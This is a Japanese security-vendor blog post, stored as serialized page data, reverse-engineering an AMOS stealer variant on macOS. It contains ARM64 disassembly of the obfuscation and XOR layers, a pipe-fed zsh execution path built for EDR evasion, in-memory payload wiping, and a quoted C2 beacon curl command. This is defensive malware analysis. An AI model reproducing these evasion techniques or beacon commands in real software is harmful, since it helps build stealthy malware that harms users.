((",[1707,14593,13619],{"style":13578},")(*(",[1707,14596,14241],{"style":13578},[1707,14598,13787],{"style":13578},")local_c8 + uVar5) ^ uVar6) & ",[1707,14601,14250],{"style":13602},"));\n  *(",[1707,14604,14241],{"style":13578},[1707,14606,13787],{"style":13578},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[1707,14609,13589],{"style":13578},")uVar5 + (uVar6 ^ bVar2);  ",[1707,14612,14613],{"style":13569},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[1707,14616,13866],{"style":13602},";\n} ",[1707,14619,13939],{"style":13578}," (uVar7 != uVar5);\n",[526,14622,14623,14565,14626,13749,14629,14572],{},[567,14624,14625],{},"インスタンスB",[578,14627,14628],{},"0x10007a7e0",[578,14630,14631],{},"FUN_10007a7e0",[854,14633,14634],{"style":13133},[13565,14635,14636,14580,14639,3463,14642,14586,14644,14080,14646,14648,14649,14594,14651,14080,14653,14655,14656,14602,14658,14080,14660,14607,14662,14610,14664,14614,14667,14617,14669,14620],{},[1707,14637,14638],{"style":13569},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[1707,14640,14641],{"style":13602},"0x9f",[1707,14643,13855],{"style":13578},[1707,14645,14241],{"style":13578},[1707,14647,13787],{"style":13578},")local_c0 +\n          ((",[1707,14650,13619],{"style":13578},[1707,14652,14241],{"style":13578},[1707,14654,13787],{"style":13578},")local_a8 + uVar5) ^ uVar6) & ",[1707,14657,14250],{"style":13602},[1707,14659,14241],{"style":13578},[1707,14661,13787],{"style":13578},[1707,14663,13589],{"style":13578},[1707,14665,14666],{"style":13569},"// identical counter update formula",[1707,14668,13866],{"style":13602},[1707,14670,13939],{"style":13578},[526,14672,14673,14674,14676,14677,14679],{},"アルゴリズムは構造的に同一ですが、初期カウンタが異なり（",[578,14675,14583],{},"と",[578,14678,14641],{},"）、ルックアップテーブルも別のメモリアドレスに置かれています。インスタンスAは状態マシンの状態11から呼ばれ、最初のペイロード経路用のエンコードアルファベットを生成します。インスタンスBは状態6から呼ばれ、大きなシェルスクリプトペイロードのデコード用アルファベットを生成します。",[526,14681,14682,14683,14686,14687,14690,14691,14694],{},"正確に言えば、これは",[567,14684,14685],{},"カウンタ依存インデックスを持つ換字式暗号","です。各出力バイトはテーブル参照であり、そのインデックスは",[578,14688,14689],{},"(input_byte XOR counter) & 0xFF","です。カウンタは1バイトごとに",[578,14692,14693],{},"counter = (i + (counter XOR output)) & 0xFF","として更新されるため、各出力バイトが次の参照インデックスの決定に影響します。これにより出力列の全体にわたる依存の連鎖が生まれます。バイト0からN-1までを正しく復号していなければ、バイトNは復号できません。部分的な復号や誤り解析は、これによって著しく難しくなります。",[526,14696,14697],{},"どちらのインスタンスも標準的なRC4ではありません。S-boxの初期化フェーズもなければ、S-boxのスワップ操作もありません。ルックアップテーブルはコンパイル時に埋め込まれた静的な定数です。",[13102,14699],{},[889,14701,14703],{"id":14702},"layer-6終了コード依存の鍵によるランタイムxor","Layer 6：終了コード依存の鍵によるランタイムXOR",[526,14705,895],{},[526,14707,14708,14709,14712],{},"最後の層は解析上もっとも手強く、Stage 2のペイロードにインプレースのXOR変換を適用します。XOR鍵はハードコードされておらず、",[567,14710,14711],{},"最初のシェルペイロード実行","の終了コードから実行時に導出されるため、静的解析では原理的に決定できません。鍵が存在するようになるには、バイナリが実際に実行され、最初のシェルスクリプトが最後まで動き切る必要があります。",[526,14714,14715],{},"ARM64の状態マシンディスパッチャにおける鍵導出のシーケンスは次のとおりです。",[854,14717,14718],{"style":13133},[616,14719,14722],{"className":14720,"code":14721,"language":621},[619],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[578,14723,14721],{"__ignoreMap":530},[526,14725,14726],{},"Stage 2のペイロードを処理するXORループは次のとおりです。",[854,14728,14729],{"style":13133},[616,14730,14733],{"className":14731,"code":14732,"language":621},[619],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[578,14734,14732],{"__ignoreMap":530},[526,14736,14737,14738,14741,14742,14745,14746,14748],{},"鍵は16ビット値で、最初のシェルペイロードの終了ステータスバイトから導かれ、",[578,14739,14740],{},"0x7f0","を掛けたうえで、状態マシンの基底カウンタレジスタ",[578,14743,14744],{},"w26","の現在値に加算されます。乗数定数",[578,14747,14740],{},"があるため、終了コードが1ビット違うだけでまったく別の鍵になります。隣り合う鍵の値のあいだに、利用できる連続性はありません。",[526,14750,14751],{},"バイナリを管理された環境で実行し、最初のシェルペイロードの正確な終了コードを記録しない限り、Stage 2のペイロードは静的解析にとって永久に不透明なままです。これが解析全体で最も高い壁でした。",[13102,14753],{},[741,14755,14757],{"id":14756},"シェル実行引数ではなくパイプそしてsimd-xor","シェル実行：引数ではなくパイプ、そしてSIMD XOR",[526,14759,747],{},[526,14761,14762,14765,14766,14769],{},[578,14763,14764],{},"0x10000091c","にあるシェル実行関数",[578,14767,14768],{},"FUN_10000091c","は、このバイナリでアーキテクチャ的に最も興味深い構成要素です。ここにすべてが集まります。デコード済みのペイロード、難読化されたコマンド名、そして明確な反フォレンジック設計です。この関数における設計判断は、いずれも特定の回避目的を持っています。",[889,14771,14773],{"id":14772},"ステップ1コマンド名は平文では現れない","ステップ1：コマンド名は平文では現れない",[526,14775,895],{},[526,14777,14778,14781,14782,14785,14786,14789,14790,14793],{},[578,14779,14780],{},"/bin/zsh","は、このバイナリのどこにも平文としては存在しません。",[578,14783,14784],{},"0x1007bb5c8","の",[578,14787,14788],{},"__cstring","セクションには、難読化されたバイト列",[578,14791,14792],{},"\\x01LG@\\x01T]F","として置かれています。デコードは実行時に単一のXOR演算で行われ、ARM64アセンブリ上で直接検証できます。",[854,14795,14796],{"style":13133},[616,14797,14800],{"className":14798,"code":14799,"language":621},[619],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[578,14801,14799],{"__ignoreMap":530},[526,14803,14804,14805,14808,14809,14811,14812,14815],{},"XOR鍵は",[578,14806,14807],{},"0x2e","、ピリオド",[578,14810,14323],{},"のASCII値です。デコードは",[578,14813,14814],{},"eor v0.8B, v0.8B, v1.8B","という単一の命令で行われます。これは8バイトすべてを同時にXORするARM64のNEONベクトル命令です。単純な8バイトのデコードにSIMD命令を使うのは異例で、効果は2つあります。1バイトずつのループより速いこと、そして生成される命令パターンが、シグネチャマッチングツールが学習しているスカラーのデコードループとは根本的に異なることです。",[526,14817,14818,14819,647,14822,647,14825,647,14828,14831,14832,14835],{},"検証は簡単です。",[578,14820,14821],{},"0x01 XOR 0x2e = 0x2f = /",[578,14823,14824],{},"0x4c XOR 0x2e = 0x62 = b",[578,14826,14827],{},"0x47 XOR 0x2e = 0x69 = i",[578,14829,14830],{},"0x40 XOR 0x2e = 0x6e = n","となり、最初の4バイトで",[578,14833,14834],{},"/bin","が得られます。",[889,14837,14839],{"id":14838},"ステップ2パイプアーキテクチャ","ステップ2：パイプアーキテクチャ",[526,14841,895],{},[526,14843,14844],{},"コマンド名をデコードしたあと、この関数はOSのパイプを作成してforkします。",[854,14846,14847],{"style":13133},[616,14848,14851],{"className":14849,"code":14850,"language":621},[619],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[578,14852,14850],{"__ignoreMap":530},[526,14854,14855],{},"子プロセス側は次のとおりです。",[854,14857,14858],{"style":13133},[616,14859,14862],{"className":14860,"code":14861,"language":621},[619],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[578,14863,14861],{"__ignoreMap":530},[526,14865,14866,14867,14870,14871,14874,14875,14877],{},"子プロセスは自身の標準入力をパイプの読み出し側に差し替え、",[578,14868,14869],{},"/bin/zsh -s","を起動します。",[578,14872,14873],{},"-s","モードでは、シェルはコマンドをstdinから読み込みます。プロセス監視ツールから見ると、このプロセスは引数のない",[578,14876,14869],{},"として現れ、正規の対話シェルセッションと区別がつきません。",[889,14879,14881],{"id":14880},"ステップ3可変サイズのチャンク書き込み","ステップ3：可変サイズのチャンク書き込み",[526,14883,895],{},[526,14885,14886],{},"親プロセスは、復号済みのペイロードを意図的に変動するチャンクサイズでパイプの書き込み側へ送ります。",[854,14888,14889],{"style":13133},[616,14890,14893],{"className":14891,"code":14892,"language":621},[619],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[578,14894,14892],{"__ignoreMap":530},[526,14896,14897,14898,14901,14902,14905,14906,14909,14910,14913],{},"チャンクサイズの式",[578,14899,14900],{},"(remaining_length % 192) + 64","は、残りのペイロード長に応じて1回のwrite呼び出しあたり64から255バイトの値を生成します。この可変の書き込みパターンは",[578,14903,14904],{},"ktrace","や",[578,14907,14908],{},"dtrace","のようなカーネルイベントトレースツールからは見えますが、認識可能な固定サイズのシグネチャは生みません。同じペイロードでも、実行するたびに",[578,14911,14912],{},"write()","システムコールのサイズ列は変わります。",[526,14915,14916,14917,14919],{},"チャンクの間に挟まれる1マイクロ秒の",[578,14918,13638],{},"には第二の目的があります。書き込みのあいだCPUを解放し、CPU使用率を平坦に保ち、挙動ベースのEDRルールが異常なバーストI/Oと判定しかねない急激な山を避けるのです。",[889,14921,14923],{"id":14922},"ステップ4即時のメモリ消去","ステップ4：即時のメモリ消去",[526,14925,895],{},[854,14927,14928],{"style":13133},[616,14929,14932],{"className":14930,"code":14931,"language":621},[619],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[578,14933,14931],{"__ignoreMap":530},[526,14935,14936,14939],{},[578,14937,14938],{},"_bzero()","の呼び出しは、パイプへの最後の書き込みの直後に、復号済みペイロードのバッファ全体をゼロで埋めます。実行完了後に復号済みペイロードがメモリに残る時間の窓は、1マイクロ秒すら存在しません。この関数から戻った直後にライブメモリダンプを取得しても、ペイロードがあった場所にはゼロしか見つかりません。",[526,14941,14942,14943,14946],{},"これは",[567,14944,14945],{},"zero-after-use","と呼ばれ、鍵素材をメモリに残さないために高いセキュリティ水準の暗号ライブラリが用いるのと同じ技法です。この技法が汎用のマルウェアに現れるのは異例であり、開発者にセキュリティエンジニアリングの素養があることをうかがわせます。",[889,14948,14950],{"id":14949},"完全な実行シーケンス","完全な実行シーケンス：",[526,14952,895],{},[854,14954,14955],{"style":13133},[616,14956,14959],{"className":14957,"code":14958,"language":621},[619],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[578,14960,14958],{"__ignoreMap":530},[741,14962,14963],{"id":14963},"武器としてのインポートテーブル",[526,14965,747],{},[526,14967,14968],{},"このバイナリのインポートテーブルの全体は次のとおりです。",[854,14970,14971],{"style":13133},[616,14972,14975],{"className":14973,"code":14974,"language":621},[619],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[578,14976,14974],{"__ignoreMap":530},[526,14978,14979],{},"合計27シンボルです。何が欠けているかは、何があるかと少なくとも同じくらい多くを物語ります。",[889,14981,14983],{"id":14982},"不在ネットワーク","不在：ネットワーク",[526,14985,895],{},[854,14987,14988],{"style":13133},[616,14989,14992],{"className":14990,"code":14991,"language":621},[619],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[578,14993,14991],{"__ignoreMap":530},[889,14995,14997],{"id":14996},"不在ファイルシステム","不在：ファイルシステム",[526,14999,895],{},[854,15001,15002],{"style":13133},[616,15003,15006],{"className":15004,"code":15005,"language":621},[619],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[578,15007,15005],{"__ignoreMap":530},[889,15009,15011],{"id":15010},"不在プロセス内観","不在：プロセス内観",[526,15013,895],{},[854,15015,15016],{"style":13133},[616,15017,15020],{"className":15018,"code":15019,"language":621},[619],"getpid      getuid      getenv      sysctl\n",[578,15021,15019],{"__ignoreMap":530},[889,15023,15025],{"id":15024},"不在暗号処理","不在：暗号処理",[526,15027,747],{},[854,15029,15030],{"style":13133},[616,15031,15034],{"className":15032,"code":15033,"language":621},[619],"CCCrypt     SecItemAdd  SecKeychainFind\n",[578,15035,15033],{"__ignoreMap":530},[526,15037,15038,15039,647,15042,15045,15046,647,15049,15052],{},"従来型のマルウェア検体であれば、ネットワーク関連のインポート（",[578,15040,15041],{},"socket",[578,15043,15044],{},"connect","）やファイル関連のインポート（",[578,15047,15048],{},"fopen",[578,15050,15051],{},"write","）があると想定します。このバイナリには1つもありません。標準的なスキャナから見れば、無害なプロセスランチャーに見えます。それが狙いどおりです。静的解析ツールを空振りさせるための、意図的なアーキテクチャ上の判断なのです。",[526,15054,15055,15057],{},[578,15056,13455],{},"バイナリ自体が窃取を行うわけではありません。その唯一の目的は、本体である悪性ペイロード、すなわち強く難読化されたAppleScriptを投下して実行することです。悪性バイナリを探すEDRやAVは、ここにネットワークI/OもファイルI/Oも持たないローダーを見て、これを問題なしと判定しかねません。このバイナリが高水準スクリプトペイロードのための専用の配送システムである、という点を見落としてしまうのです。",[13102,15059],{},[557,15061,15062],{"id":15062},"バックドア",[526,15064,562],{},[526,15066,15067,15068,15071],{},"インシデントは初期侵害で終わりませんでした。Microsoft Defenderのテレメトリは、",[578,15069,15070],{},"/Users/\u003Credacted>/.mainhelper","から実行され外部サーバーに問い合わせるプロセスを捉えていました。",[854,15073,15074],{"style":13133},[616,15075,15077],{"className":2779,"code":15076,"language":2781,"meta":530,"style":530},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[578,15078,15079],{"__ignoreMap":530},[1707,15080,15081,15084,15086],{"class":1709,"line":1710},[1707,15082,15083],{"class":2788},"sh",[1707,15085,13334],{"class":2796},[1707,15087,15088],{"class":2792}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[526,15090,15091],{},"このBase64文字列は16バイトのデバイスUUIDにデコードされました。攻撃者のC2インフラが初回感染の日にこのデバイスへ割り当てた、一意の識別子です。",[526,15093,15094,15097,15098,15101,15102,15104],{},[578,15095,15096],{},".mainhelper","バイナリ（SHA-256：",[578,15099,15100],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063","）は、インシデント当日にosascriptのドロッパーによって",[578,15103,13331],{},"経由でインストールされていました。",[13102,15106],{},[557,15108,15110],{"id":15109},"集団的な盾の強み当社のshared-threat-intelligenceプラットフォーム","集団的な盾の強み：当社のShared Threat Intelligenceプラットフォーム",[526,15112,562],{},[526,15114,15115],{},"当社のSOCでアラートが発報すると、時計が動き始めるのは対象となったお客様だけのためではなく、glueckkanjaの防護の傘の下にあるすべての組織のためです。文書化されていなかったAMOS亜種に対する今回の調査は、インテリジェンス・ギャップが実務上何を意味するかを明確にします。従来型のベンダーが脅威をまだ見ていないがゆえに何も見えていない、危険な時間の窓です。",[526,15117,15118],{},"ここで価値を発揮するのが、glueckkanjaのCSOCをご利用のお客様専用に開発した、当社独自のShared Threat Intelligence Platformです。当社は業界の更新を待つのではなく、それを生み出す側にいます。アナリストがARM64アセンブリの最後の層をまだ分解している最中に、当社のAutomated Orchestration Engineは抽出した指標をエコシステム全体へすでに配布していました。これが集団免疫を生みます。ある単一のエンドポイントで発見されたものが、数分のうちに当社の保護下にあるすべての組織にとってブロック済みの脅威になるのです。",[526,15120,15121],{},"従来型の防御機構の隙間を狙って抜けてくる脅威に対して、受動的なセキュリティは機能しません。答えは、人間の専門性と、その知見を即座かつ大規模に適用するアーキテクチャとを結びつけることにあります。当社のShared Intelligenceモデルによって、攻撃者の時間的優位は逆転します。お客様は、脅威が業界に認識されるよりも前に守られているのです。",[848,15123,15124,15129,15132,15135],{},[526,15125,15126],{},[567,15127,15128],{},"データ保護に関する注記",[526,15130,15131],{},"本公開にあたり、識別につながる情報は匿名化しています。個別の技術的詳細、指標、タイムスタンプは、解析の技術的な整合性を損なわない範囲で、対象環境の継続的な保護を担保するためにわずかに変更されている場合があります。",[526,15133,15134],{},"本レポートに含まれる技術的解析および侵害の指標（IOC）は、情報提供および教育のみを目的としています。これらは知り得る限りの内容として提供されるものです。glueckkanja AGは完全性または正確性について明示・黙示を問わずいかなる保証も行わず、ここで共有する情報、ルール、シグネチャの利用から生じる損害、損失、セキュリティインシデントについて責任を負いません。すべての指標とルールは、運用に投入する前に管理された環境で検証することを推奨します。",[526,15136,15137],{},"記載した指標や技法は既知のマルウェアファミリと重なる場合があり、単一のキャンペーンに排他的に帰属するものではありません。",[12812,15139,15140],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":530,"searchDepth":531,"depth":531,"links":15142},[15143,15144,15145,15146,15153,15154,15155,15156,15164,15171],{"id":13124,"depth":531,"text":13125},{"id":13159,"depth":531,"text":13159},{"id":13215,"depth":531,"text":13216},{"id":13247,"depth":531,"text":13247,"children":15147},[15148,15149,15150,15151,15152],{"id":13255,"depth":2090,"text":13256},{"id":13269,"depth":2090,"text":13270},{"id":13283,"depth":2090,"text":13284},{"id":13292,"depth":2090,"text":13292},{"id":13308,"depth":2090,"text":13308},{"id":13462,"depth":531,"text":13462},{"id":13541,"depth":531,"text":13542},{"id":13653,"depth":531,"text":13654},{"id":13718,"depth":531,"text":13718,"children":15157},[15158,15159,15160,15161,15162,15163],{"id":13732,"depth":2090,"text":13733},{"id":14018,"depth":2090,"text":14019},{"id":14273,"depth":2090,"text":14274},{"id":14462,"depth":2090,"text":14463},{"id":14549,"depth":2090,"text":14550},{"id":14702,"depth":2090,"text":14703},{"id":14756,"depth":531,"text":14757,"children":15165},[15166,15167,15168,15169,15170],{"id":14772,"depth":2090,"text":14773},{"id":14838,"depth":2090,"text":14839},{"id":14880,"depth":2090,"text":14881},{"id":14922,"depth":2090,"text":14923},{"id":14949,"depth":2090,"text":14950},{"id":14963,"depth":531,"text":14963,"children":15172},[15173,15174,15175,15176],{"id":14982,"depth":2090,"text":14983},{"id":14996,"depth":2090,"text":14997},{"id":15010,"depth":2090,"text":15011},{"id":15024,"depth":2090,"text":15025},{"lang":12962,"seoTitle":15178,"titleClass":12964,"date":15179,"categories":15180,"blogtitlepic":15181,"socialimg":15182,"customExcerpt":15183,"keywords":15184,"maxContent":325,"asideNav":15185,"footer":15200,"contactInContent":15201,"published":325},"AMOSスティーラーの亜種：未知のmacOSマルウェアのリバースエンジニアリング","2026-04-10",[235],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","これまで文書化されていなかったAMOSスティーラーの亜種が、macOSエンドポイントを侵害しました。既知のハッシュはなく、公開データベースにC2データもありません。当社のSOCは6層の難読化を解体し、すべての指標を抽出したうえで、業界がこの検体を目にするよりも前に、数時間以内ですべてのSOCのお客様へ保護を配布しました。","AMOS Stealer, macOSマルウェア, リバースエンジニアリング, マルウェア解析, Ghidra, ARM64, インシデント対応, Threat Intelligence, CSOC, macOSセキュリティ, スティーラーマルウェア, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":15186},[15187,15190,15192,15195,15197],{"href":15188,"text":15189},"#インシデント未知のiocシナリオ","インシデント",{"href":15191,"text":13125},"#stage-1サンドボックス検査",{"href":15193,"text":15194},"#stage-2helper-バイナリのリバースエンジニアリング","Stage 2：バイナリ解析",{"href":15196,"text":15062},"#バックドア",{"href":15198,"text":15199},"#集団的な盾の強み当社のshared-threat-intelligenceプラットフォーム","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":15202},{"bgColor":15203,"headline":488,"subline":15204,"level":741,"textStyling":13029,"flush":13030,"person":15205,"form":15211},"var(--color-gk-dark-blue)","当社のShared Threat Intelligence Platformが、業界がまだ把握していない未知のマルウェア亜種から自社をどのように保護するのか、知りたいとお考えですか。お気軽にご相談ください。",{"image":15206,"cloudinary":325,"alt":15207,"name":15208,"quotee":15208,"quoteeTitle":15209,"quote":15210},"/people/people-jan-geisbauer-csoc.jpg","glueckkanja Head of Security、Jan Geisbauerのポートレート","Jan Geisbauer","Head of Security","この亜種の危険性は、技術的な複雑さ（それ自体は確かに驚くべきものですが）にあったのではありません。危険だったのは時間の窓です。Shared Threat Intelligenceがなければ、当社が解析を続けている間、ほかのお客様は何時間も無防備なままだったはずです。",{"ctaText":13044,"cta":15212,"method":12960,"action":13047,"fields":15213},{"skin":13046},[15214,15215,15216,15217,15218,15222,15225,15227,15230,15232,15233,15234],{"type":13050,"id":13051,"value":13052},{"label":13054,"type":621,"id":13055,"required":325,"requiredMsg":13056},{"label":13058,"type":621,"id":403,"required":325,"requiredMsg":13059},{"label":13061,"type":13062,"id":13062,"required":325,"requiredMsg":13063},{"label":15219,"type":15220,"id":10694,"required":484,"requiredMsg":15221},"お問い合わせ内容","textarea","メッセージを入力してください。",{"label":15223,"type":13066,"id":13067,"required":325,"requiredMsg":15224},"お客様のデータは、お問い合わせの処理および回答の目的で当社が保管します。データ保護に関する詳細は\u003Ca href=\"/ja/privacy\">プライバシーポリシー\u003C/a>をご覧ください。","ご確認ください",{"type":13050,"id":15226,"value":235},"_topic",{"type":13050,"id":15228,"value":15229},"_location","World",{"type":13050,"id":13070,"value":15231},"Form: Blog AMOS Stealer CSOC | JA",{"type":13050,"id":13073,"value":13074},{"type":13050,"id":13076},{"type":13050,"id":15235},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":13088,"description":13094},"posts/2026-04-10-incident-to-intelligence",[13082,15240,15241,15242,13083],"Incident Response","macOS Security","Malware Analysis","YKBLgtT_Rn7tef15RF6n8NU_Zmp7GuFWJCxlgexJgD8",[],{"id":15246,"extension":15247,"meta":15248,"stem":8,"__hash__":15253},"authors_data/authors.json","json",{"Pascal Asch":15249},{"display_name":521,"avatar":15250,"permalink":15251,"linkedin":547,"imageOffsetTop":15252},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","66%","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",1791383987174]